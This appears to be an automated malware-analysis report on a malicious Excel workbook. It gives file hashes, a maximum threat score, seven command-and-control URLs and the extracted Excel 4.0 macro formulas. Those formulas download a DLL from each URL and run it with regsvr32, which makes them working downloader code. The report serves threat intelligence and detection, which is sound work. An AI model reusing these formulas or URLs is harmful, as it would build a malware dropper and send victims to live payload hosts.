General

  • Target

    5749c74fdfc861e23120b42736b232b37c16791ede168474848ce8a5d710facf

  • Size

    46KB

  • MD5

    57bb8ab09c6e036a9c01314a23a09ff7

  • SHA1

    7317ae93d618ce6d17c4fa2fc9b550adeb718040

  • SHA256

    5749c74fdfc861e23120b42736b232b37c16791ede168474848ce8a5d710facf

  • SHA512

    eee6bc821509609b3d7a24aaae2acadbe925f5c357023893249697e924e1e7f899b83ce7f84072dc07ed6338f0d4252f34272b083680bb815581a902f5415c48

  • SSDEEP

    768:JCKan01tkBUjqBpFViBYYg8z/cZ2IQYRAvYUbTUPMr7nIIbwPvvfOa6roBb39Rfy:EKa01t2UG3iBC8z/XYCpK60Ibwv3OHko

Score
10/10
xlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://www.arkpp.com/ARIS-BSU/9K1/

http://www.avrworks.com/mail/0Z4GbaKuDTGprJ/

http://www.babylinesl.com/catalog/iVsl6YvlyIyX/

https://physioacademy.co.uk/blog/Qs8QZTp0Z6nKf9YjVBMS/

https://unada.us/acme-challenge/3NXwcYNCa/

https://automobile-facile.fr/wp-admin/QV/

https://alebit.de/css/gqKtdKmTsC4iDh/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.arkpp.com/ARIS-BSU/9K1/","..\fbd.dll",0,0) =IF('EGVEB'!D9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.avrworks.com/mail/0Z4GbaKuDTGprJ/","..\fbd.dll",0,0)) =IF('EGVEB'!D11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.babylinesl.com/catalog/iVsl6YvlyIyX/","..\fbd.dll",0,0)) =IF('EGVEB'!D13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://physioacademy.co.uk/blog/Qs8QZTp0Z6nKf9YjVBMS/","..\fbd.dll",0,0)) =IF('EGVEB'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://unada.us/acme-challenge/3NXwcYNCa/","..\fbd.dll",0,0)) =IF('EGVEB'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://automobile-facile.fr/wp-admin/QV/","..\fbd.dll",0,0)) =IF('EGVEB'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://alebit.de/css/gqKtdKmTsC4iDh/","..\fbd.dll",0,0)) =IF('EGVEB'!D21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\fbd.dll") =RETURN()

Signatures

Files

  • 5749c74fdfc861e23120b42736b232b37c16791ede168474848ce8a5d710facf
    .xlsx office2007